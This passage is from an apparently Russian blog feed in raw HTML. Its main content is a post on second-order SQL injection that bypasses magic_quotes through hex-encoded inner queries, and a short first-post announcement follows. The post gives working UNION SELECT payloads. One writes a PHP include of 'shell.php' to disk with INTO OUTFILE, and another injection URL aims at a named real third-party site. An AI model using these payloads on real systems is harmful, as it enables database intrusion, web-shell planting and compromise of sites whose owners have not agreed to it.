left;">http://localhost/erase.php?id=-2+union+select+0x2D3220756E696F6E2073656C6563742027393939272C3131312F2A,2,3/*</div></pre><br />результат:<br /><pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 50px;"><div dir="ltr" style="text-align: left;">2:3<br />999:111</div></pre></div>т.к. данные полученные из sql-запроса не так часто слешируют/фильтруют то получается что этот "внутренний" запрос выполняется без ошибок, даже при наличии кавычек.<br /><br />Если "внутренний" запрос будет:<br /><div style="margin: 5px 20px 20px;"><pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"><div dir="ltr" style="text-align: left;">-2 union select '<?php include "shell.php"; ?>,111 into outfile '/bla/bla/bla.php'/*</div></pre></div>то в запросе<br /><div class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px; background-color: rgb(255, 250, 202);"><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 187);">$onl </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(0, 0, 187);">MySQL_QUERY</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">"SELECT o_uid,o_key FROM online WHERE o_uid = "</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">$us</span><span style="color: rgb(0, 119, 0);">[</span><span style="color: rgb(221, 0, 0);">"u_id"</span><span style="color: rgb(0, 119, 0);">])</span></span></code><br /></div><br />он выполнится без проблем даже при magic_quotes on<br /><br />Обратимся к первой инъекции, если мы в третье поле подставим:<br /><div style="margin: 5px 20px 20px;"><pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"><div dir="ltr" style="text-align: left;">-1 union select 'magic_qotes is sux'/*</div></pre>и выполним:<br /><pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"><div dir="ltr" style="text-align: left;">http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,0x2D3120756E696F6E2073656C65637420276D616769635F716F74657320697320737578272F2A,4,5,6,7,8,9,10,11,12,13/*</div></pre></div>увидим безобидную надпись <b>magic_qotes is sux</b><br />а могли бы составить и более опасный запрос с присутствием into outfile 'blabla' и он тоже бы выполнился.</div>Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com0tag:blogger.com,1999:blog-6085691229162578785.post-18064290800151721522009-03-31T16:40:00.002+04:002009-04-01T00:08:05.842+04:00Мой блог<span style="color: rgb(192, 192, 192);"></span>Вот решил создать блог, не знаю зачем мне это нужно: <blockquote>...Из-за ленности, из-за праздности,<br />А быть может от воздержания...</blockquote> Ну, посмотрим, что из этого всего получится...<span style="color: rgb(192, 192, 192);"></span> <blockquote style="color: rgb(0, 0, 0);"></blockquote>Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com1